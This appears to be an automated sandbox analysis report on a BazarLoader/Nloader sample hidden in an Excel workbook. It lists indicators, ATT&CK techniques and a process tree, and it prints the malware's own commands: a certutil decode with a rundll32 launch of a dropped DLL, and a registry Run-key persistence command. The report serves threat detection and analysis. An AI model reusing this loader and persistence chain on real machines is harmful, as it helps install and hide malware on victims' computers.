bazarloader | b48cccd1b5e13f4a531366737c742ebe4c0f9921da9170313f29591a824801b4

Analysis

max time kernel
136s
max time network
134s
platform
windows10_x64
resource
win10v20201028
submitted
01-04-2021 18:53

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General

Target

subscription_1617291613.xlsb

Score

10^/10

bazarloader nloader dropper loader persistence

Malware Config

Signatures

Bazar Loader
Detected loader normally used to deploy BazarBackdoor malware.
loader dropper bazarloader
Nloader
Simple loader that includes the keyword 'cambo' in the URL used to download other families.
loader nloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	808	4772	cmd.exe	67

Bazar/Team9 Loader payload 6 IoCs

resource	yara_rule
behavioral2/memory/4544-19-0x0000000001FB0000-0x0000000001FD3000-memory.dmp	BazarLoaderVar1
behavioral2/memory/4544-18-0x0000000001F80000-0x0000000001FA5000-memory.dmp	BazarLoaderVar1
behavioral2/memory/4544-20-0x00000000001B0000-0x00000000001D2000-memory.dmp	BazarLoaderVar1
behavioral2/memory/2396-27-0x0000000000440000-0x0000000000463000-memory.dmp	BazarLoaderVar1
behavioral2/memory/3644-36-0x0000000000530000-0x0000000000553000-memory.dmp	BazarLoaderVar1
behavioral2/memory/204-44-0x0000000001FE0000-0x0000000002003000-memory.dmp	BazarLoaderVar1

Nloader Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1728-14-0x0000000002600000-0x0000000002605000-memory.dmp	nloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
20	1728	rundll32.exe
26	1728	rundll32.exe

Executes dropped EXE 4 IoCs

pid	Process
4544	tkqyg.exe
2396	tkqyg.exe
3644	RKCDF74.exe
204	RKCDF74.exe

Loads dropped DLL 1 IoCs

pid	Process
1728	rundll32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	RKCDF74.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\D51AM76CR = "cmd.exe /c reg.exe add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /f /v B5CUQFXB6P /t REG_SZ /d \"C:\\Users\\Admin\\AppData\\Local\\Temp\\RKCDF74.exe JU0NGE\" & start \"H\" C:\\Users\\Admin\\AppData\\Local\\Temp\\RKCDF74.exe JU0NGE"	RKCDF74.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
4712	PING.EXE
4556	PING.EXE
2980	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4772	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4544	tkqyg.exe
4544	tkqyg.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4772	EXCEL.EXE
4772	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE
4772	EXCEL.EXE

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 4772 wrote to memory of 808	4772	EXCEL.EXE	77
PID 4772 wrote to memory of 808	4772	EXCEL.EXE	77
PID 808 wrote to memory of 1112	808	cmd.exe	80
PID 808 wrote to memory of 1112	808	cmd.exe	80
PID 808 wrote to memory of 1592	808	cmd.exe	82
PID 808 wrote to memory of 1592	808	cmd.exe	82
PID 1592 wrote to memory of 1728	1592	rundll32.exe	83
PID 1592 wrote to memory of 1728	1592	rundll32.exe	83
PID 1592 wrote to memory of 1728	1592	rundll32.exe	83
PID 1728 wrote to memory of 4544	1728	rundll32.exe	86
PID 1728 wrote to memory of 4544	1728	rundll32.exe	86
PID 4544 wrote to memory of 4596	4544	tkqyg.exe	87
PID 4544 wrote to memory of 4596	4544	tkqyg.exe	87
PID 4596 wrote to memory of 4556	4596	cmd.exe	89
PID 4596 wrote to memory of 4556	4596	cmd.exe	89
PID 4596 wrote to memory of 2396	4596	cmd.exe	90
PID 4596 wrote to memory of 2396	4596	cmd.exe	90
PID 2396 wrote to memory of 2424	2396	tkqyg.exe	91
PID 2396 wrote to memory of 2424	2396	tkqyg.exe	91
PID 2424 wrote to memory of 2980	2424	cmd.exe	93
PID 2424 wrote to memory of 2980	2424	cmd.exe	93
PID 2424 wrote to memory of 3644	2424	cmd.exe	94
PID 2424 wrote to memory of 3644	2424	cmd.exe	94
PID 3644 wrote to memory of 4732	3644	RKCDF74.exe	95
PID 3644 wrote to memory of 4732	3644	RKCDF74.exe	95
PID 4732 wrote to memory of 4712	4732	cmd.exe	97
PID 4732 wrote to memory of 4712	4732	cmd.exe	97
PID 4732 wrote to memory of 204	4732	cmd.exe	98
PID 4732 wrote to memory of 204	4732	cmd.exe	98

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\subscription_1617291613.xlsb"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c certutil -decode %PUBLIC%\569390.pdi %PUBLIC%\569390.ui && rundll32 %PUBLIC%\569390.ui,DF1
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\system32\certutil.exe
    certutil -decode C:\Users\Public\569390.pdi C:\Users\Public\569390.ui
    3⤵
    PID:1112
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\Users\Public\569390.ui,DF1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1592
  - - C:\Windows\SysWOW64\rundll32.exe
      rundll32 C:\Users\Public\569390.ui,DF1
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1728
    - - C:\ProgramData\tkqyg\tkqyg.exe
        
        "C:\ProgramData\tkqyg\tkqyg.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4544
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c ping 8.8.7.7 -n 2 & start C:\ProgramData\tkqyg\tkqyg.exe DZOF6
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4596
        
        C:\Windows\system32\PING.EXE
        
        ping 8.8.7.7 -n 2
        7⤵
        Runs ping.exe
        
        PID:4556
        
        C:\ProgramData\tkqyg\tkqyg.exe
        
        C:\ProgramData\tkqyg\tkqyg.exe DZOF6
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2396
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c ping 8.8.7.7 -n 2 & start C:\Users\Admin\AppData\Local\Temp\RKCDF74.exe DO32
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2424
        
        C:\Windows\system32\PING.EXE
        
        ping 8.8.7.7 -n 2
        9⤵
        Runs ping.exe
        
        PID:2980
        
        C:\Users\Admin\AppData\Local\Temp\RKCDF74.exe
        
        C:\Users\Admin\AppData\Local\Temp\RKCDF74.exe DO32
        9⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:3644
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c ping 8.8.7.7 -n 2 & start C:\Users\Admin\AppData\Local\Temp\rKCDF74.exe JU0NGE
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:4732
        
        C:\Windows\system32\PING.EXE
        
        ping 8.8.7.7 -n 2
        11⤵
        Runs ping.exe
        
        PID:4712
        
        C:\Users\Admin\AppData\Local\Temp\RKCDF74.exe
        
        C:\Users\Admin\AppData\Local\Temp\rKCDF74.exe JU0NGE
        11⤵
        Executes dropped EXE
        
        PID:204

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/204-44-0x0000000001FE0000-0x0000000002003000-memory.dmp

Filesize
140KB

Download
memory/1728-14-0x0000000002600000-0x0000000002605000-memory.dmp

Filesize
20KB

Download
memory/2396-27-0x0000000000440000-0x0000000000463000-memory.dmp

Filesize
140KB

Download
memory/3644-36-0x0000000000530000-0x0000000000553000-memory.dmp

Filesize
140KB

Download
memory/4544-20-0x00000000001B0000-0x00000000001D2000-memory.dmp

Filesize
136KB

Download
memory/4544-18-0x0000000001F80000-0x0000000001FA5000-memory.dmp

Filesize
148KB

Download
memory/4544-19-0x0000000001FB0000-0x0000000001FD3000-memory.dmp

Filesize
140KB

Download
memory/4772-2-0x00007FFF21F30000-0x00007FFF21F40000-memory.dmp

Filesize
64KB

Download
memory/4772-6-0x00007FFF21F30000-0x00007FFF21F40000-memory.dmp

Filesize
64KB

Download
memory/4772-5-0x00007FFF46210000-0x00007FFF46847000-memory.dmp

Filesize
6.2MB

Download
memory/4772-4-0x00007FFF21F30000-0x00007FFF21F40000-memory.dmp

Filesize
64KB

Download
memory/4772-3-0x00007FFF21F30000-0x00007FFF21F40000-memory.dmp

Filesize
64KB

Download